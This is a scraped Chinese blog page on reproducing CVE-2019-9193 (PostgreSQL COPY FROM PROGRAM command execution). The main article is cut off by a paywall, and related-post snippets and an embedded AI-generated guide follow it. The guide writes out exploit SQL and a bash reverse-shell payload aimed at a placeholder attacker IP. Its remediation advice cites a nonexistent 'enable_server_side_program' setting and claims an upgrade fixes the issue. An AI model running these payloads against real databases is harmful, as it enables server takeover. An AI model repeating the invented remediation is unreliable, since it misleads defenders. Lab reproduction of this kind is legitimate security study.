【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)

最新推荐文章于 2025-05-21 16:53:44 发布
最新推荐文章于 2025-05-21 16:53:44 发布
阅读量579 收藏 1
点赞数 1
分类专栏： 优秀文章 秀秀 文章标签： shell 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_52549196/article/details/128839395
版权
本文详细介绍了PostgreSQL中的CVE-2019-9193漏洞，该漏洞允许超级用户及pg_read_server_files组内的用户执行操作系统命令。复现过程包括了解漏洞背景、利用前提（如需要登录和高权限），以及如何通过弱口令爆破获取高权限，并进一步进行shell反弹操作。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

【漏洞复现】PostgreSQL高权限命令执行(CVE-2019-9193)

漏洞介绍

这个漏洞是一个版本漏洞

从9.3版本开始，Postgres新增了一个COPYTO/FROMPROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

利用的前提

  • 1、需要登录
  • 2、需要高权限

所以要先弱口令爆破之后，然后查看是否是高权限。

exp

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text)
了解本专栏 订阅专栏 解锁全文
（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞
m0_48520508的博客
01-20 990
0x00简介 PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统（RDBMS）。采用类似MIT的许可协议，允许开发人员做任何事情，包括在开源或闭源产品中商用，其源代码是免费提供的。 PostgreSQL特点： Ø 支持WINDOWS、Linux、Solaris、macOS 、BSD。 Ø 支持文本、图像、视频、声音等 Ø 支持ACID、关联完整性、数据库事务、Unicode多国语言。 Ø 支持临时表，与物化视图 Ø 支持SQL的许多功
PostgreSQL 高权限命令执行漏洞（CVE-2019-9193）
SoulCat
05-27 4205
PostgreSQL 高权限命令执行漏洞（CVE-2019-9193） 最美好的大概还是那些初识的日子，是对彼此不全然地了解又极度渴望了解的那段时光。 漏洞概述: PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执...
PostgreSQL 高权限命令执行漏洞复现(CVE-2019-9193)
又菜又爱倒腾的博客
10-29 1998
#PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)# 一、漏洞简介 PostgreSQL是功能强大的数据库软件，可在所有主要操作系统上运行，包括Linux，Windows，Mac OS X等。所公开的漏洞存在于命令“COPY TO / FROM PROGRAM”中，用于导入和导出数据。在“pg_read_server_files”组中的用户执行上述命令之后，可以获得数据库超级用户权限，从而执行任何系统命令。 二、漏洞影响 影响版本 PostgreSQL 9.3-11.2 三、产生原因
PostgreSQL的CVE-2025-1094漏洞解析：SQL注入与元命令执行,从零基础到精通，收藏这篇就够了！
Javachichi的博客
03-20 1172
CVE-2025-1094是一种高严重性SQL注入漏洞，影响PostgreSQL的交互式工具psql。它源于PostgreSQL处理无效UTF-8字符的方式存在问题，以及psql工具对这些字符的处理机制。CVE-2025-1094的漏洞主要在于PostgreSQL对无效UTF-8字符的处理存在缺陷，导致攻击者可以通过SQL注入执行任意系统命令或SQL语句。该漏洞已被修复，但在修复前已被用于多起高调攻击事件中。黑客/网络安全学习路线。
PostgreSQL任意命令执行（CVE-2019-9193）
GalaxySpaceX的博客
07-03 1354
PostgreSQL任意命令执行（CVE-2019-9193）
系统安全实验：PostgreSQL任意命令执行漏洞（CVE-2019-9193）
最新发布
2301_78247767的博客
05-21 209
从9.3版本开始，Postgres新增了一个COPY TO/FROM PROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。具有数据库 服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。PostgreSQL 9.3 的可执行文件通常存于。提示：Flag在/etc/flag.txt文件下。目录，你可以将这个路径添加到。在当前终端会话里临时添加路径到。
CVE-2019-9193 PostgreSQL 高权限命令执行漏洞
qq_51979295的博客
10-08 1127
康复训练
PostgreSQL 高权限命令执行 (CVE-2019-9193)
qq_44657899的博客
10-08 1273
漏洞原理 PostgreSQL是当下最流行的数据库系统之一，它是 Mac OSX系统下最常用的数据库，但同时也提供了Windows及Linux操作系统版本。（Kali下Metasploit用的就是PostgreSQL数据库）. 漏洞成因是因为PostgreSQL的特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3-11.2版本中这个特性是默认开启的。 从9.3版本开始PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能，它允许数.
（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞的复现
m0_69801663的博客
12-23 1424
（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞
漏洞复现之PostgreSQL任意命令执行（CVE-2019-9193）
Blood_Pupil的博客
05-09 5765
PostgreSQL任意命令执行（CVE-2019-9193） PostgreSQL是当下最流行的数据库系统之一，它是 Mac OSX系统下常用的数据库，但是同时也提供Windows和Linux操作系统版本 今天，我将要给大家介绍一个PostgreSQL的鲜为人知的特性，这个特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3至最新版本（11.2）...
PostgreSQL 高权限命令执行漏洞（CVE-2019-9193）复现
玄道的网安博客
01-26 2667
简介 PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统（RDBMS）。采用类似MIT的许可协议，允许开发人员做任何事情，包括在开源或闭源产品中商用，其源代码是免费提供的。 影响版本 9.3-11.2 漏洞概述 PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_rea...
PostgreSQL高权限命令执行(CVE-2019-9193)漏洞复现&实战
jihaichen的博客
04-26 3154
一、漏洞利用 这个漏洞是一个版本漏洞 从9.3版本开始，Postgres新增了一个COPYTO/FROMPROGRAM功能，允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作 系统命令，利用的前提 1、需要登录2、需要高权限 所以要先弱口令爆破之后，然后查看是否是高权限。 这里之所以选择复现这个漏洞，因为其中的思路比较有意思，也就是看回显的思路。 先大体讲一下这个漏洞是怎么看回显的，他是通过命令执行然后把回显写入创建的一张表里面，下面来具体操作。 先删除你
GIT-SHELL 沙盒绕过（CVE-2017-8386）
黑白的博客
12-23 1142
声明 好好学习，天天向上 漏洞描述 GIT-SHELL 沙盒绕过（CVE-2017-8386）导致任意文件读取、可能的任意命令执行漏洞。 影响范围 复现过程 使用vulhub /app/vulhub-master/git/CVE-2017-8386 使用docker启动 docker-compose build docker-compose up -d 先准备好id_rsa，这是ssh的私钥，作者已经帮我们准备好了，就在docker-compose文件一起的文件夹内，拷贝到kali中，执行下述命令 ch
PostgreSQL 任意命令执行漏洞(CVE-2019-9193)
信息安全
10-03 1206
记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。使用靶机复现攻击过程。
【vulhub】PostGresql高权限命令执行漏洞复现(CVE-2019-9193)
errorr0
08-05 992
CVE-2019-9193
【CVE】CVE-2019-9193：PostgreSQL 任意命令执行漏洞
边扯边淡
08-01 4737
【CVE】CVE-2019-9193PostgreSQL任意命令执行漏洞
CVE-2019-9193复现
03-23
<think>嗯，我现在要复现CVE-2019-9193这个漏洞，但还不清楚具体步骤。首先，我需要了解一下这个漏洞的背景。好像这个漏洞和PostgreSQL有关，涉及到任意命令执行的问题。我记得PostgreSQL是一个开源的关系型数据库，对吧？那这个漏洞的成因是什么呢？可能涉及到数据库的某些功能被滥用，比如COPY命令或者其他什么功能？ 接下来，我应该查一下CVE-2019-9193的具体信息。根据公开的资料，这个漏洞允许经过身份验证的攻击者执行任意系统命令。影响版本应该是PostgreSQL 9.3到11版本。那复现这个漏洞的前提条件是什么呢？可能需要在数据库中有写权限的用户，比如能够创建表和执行COPY TO PROGRAM命令？ 好的，复现步骤大概包括几个部分：首先配置一个存在漏洞的PostgreSQL环境，然后利用COPY TO PROGRAM命令来执行系统命令。可能需要创建一个表，然后通过COPY命令将数据导入到程序中，从而触发命令执行。比如，创建一个表，插入恶意数据，然后使用COPY ... TO PROGRAM '命令'来执行系统命令，比如反弹shell或者创建文件。 不过，我需要确保测试环境的安全，避免影响其他系统。可能需要在虚拟机里安装一个旧版本的PostgreSQL，比如9.3到11之间的某个版本。安装完成后，创建测试用户和数据库，赋予相应的权限。然后登录这个用户，尝试执行攻击步骤。 具体步骤可能是这样的： 1. 使用psql或者其他客户端连接到目标数据库。 2. 创建一个表，比如CREATE TABLE cmd_exec(cmd_output text); 3. 然后执行COPY cmd_exec FROM PROGRAM 'id'; 这里id是系统命令，执行后结果会保存在表中。 4. 查询表，如果看到id命令的输出，说明漏洞存在，命令执行成功。 但这里可能有权限问题，比如用户是否有权执行COPY TO PROGRAM。PostgreSQL的配置文件中可能需要开启相关选项，比如允许执行程序。默认情况下，这些权限可能受限，所以可能需要调整配置，比如修改pg_hba.conf或者调整用户的权限。 另外，攻击者可能需要具有超级用户权限，或者被授予了适当的权限。比如，用户需要被授予pg_execute_server_program角色。但在存在漏洞的版本中，可能普通用户也能执行该命令，导致漏洞。 在复现过程中，可能遇到的问题包括如何正确安装旧版本的PostgreSQL，如何配置用户权限，以及如何构造有效的payload。可能需要查阅PostgreSQL的文档，确认COPY命令的使用方式，以及如何允许用户执行外部程序。 此外，复现成功后，可能需要验证结果，比如检查系统上是否创建了预期的文件，或者命令的输出是否正确返回到了数据库表中。同时，要注意到在较新的PostgreSQL版本中，这个漏洞已经被修复，所以需要确保测试环境使用的是受影响版本。 总结一下，复现步骤大致为： - 搭建存在漏洞的PostgreSQL环境（9.3-11） - 创建具有权限的用户 - 利用COPY TO PROGRAM执行系统命令 - 验证命令执行结果 在过程中需要注意权限配置和命令的正确构造，以及测试环境的安全隔离。</think>### CVE-2019-9193 复现指南 #### 漏洞背景 **CVE-2019-9193** 是 PostgreSQL 数据库中的一个高危漏洞，**影响版本为 9.3 至 11**。攻击者通过具有数据库写入权限的账户（如普通用户），可利用 `COPY TO PROGRAM` 命令执行任意操作系统命令，从而实现远程代码执行（RCE）。 --- #### 复现前提条件 1. **受影响版本**：PostgreSQL 9.3、9.4、9.5、9.6、10 或 11。 2. **用户权限**：攻击者需拥有以下权限： - 登录数据库的凭证（用户名/密码）。 - 允许执行 `COPY ... TO PROGRAM` 的权限（默认需超级用户权限，但部分配置可能放宽限制）。 --- #### 复现步骤 ##### 1. 搭建测试环境（以 Ubuntu 为例） ```bash # 安装旧版本 PostgreSQL（示例为 11 版本） sudo apt-get install postgresql-11 # 启动服务 sudo service postgresql start # 创建测试用户并赋予权限 sudo -u postgres psql -c "CREATE USER testuser WITH PASSWORD 'test123';" sudo -u postgres psql -c "ALTER USER testuser WITH SUPERUSER;" # 模拟放宽权限的场景 ``` --- ##### 2. 利用漏洞执行命令 **步骤说明**： - **连接数据库**：使用攻击者账户登录。 - **创建表**：用于存储命令执行结果。 - **执行命令**：通过 `COPY ... TO PROGRAM` 调用系统命令。 - **验证结果**：从表中读取命令输出。 ```sql -- 连接数据库 psql -U testuser -h 127.0.0.1 -d postgres -- 创建表 CREATE TABLE cmd_exec (cmd_output text); -- 执行系统命令（示例：查看当前用户） COPY cmd_exec FROM PROGRAM 'id'; -- 读取结果 SELECT * FROM cmd_exec; ``` **预期输出**： ``` cmd_output ----------------- uid=123(postgres) gid=456 groups=... ``` --- ##### 3. 高级利用（反弹 Shell） ```sql COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"'; ``` --- #### 关键配置与修复 1. **漏洞根源**： - `COPY ... TO PROGRAM` 允许调用系统命令。 - 默认需超级用户权限，但错误配置可能允许普通用户使用。 2. **修复方案**： - 升级到 PostgreSQL 12 或更高版本。 - 限制用户权限：禁止普通用户执行 `COPY ... TO PROGRAM`。 - 修改 `postgresql.conf`：设置 `enable_server_side_program = off`（需重启服务）。 --- #### 注意事项 - **安全隔离**：复现需在虚拟机或隔离环境中进行。 - **权限最小化**：生产环境中避免赋予用户过高权限。 - **日志审计**：监控数据库日志中的可疑 `COPY` 操作。 通过以上步骤，可验证 CVE-2019-9193 的利用过程及修复方案。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

？？？？27282

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值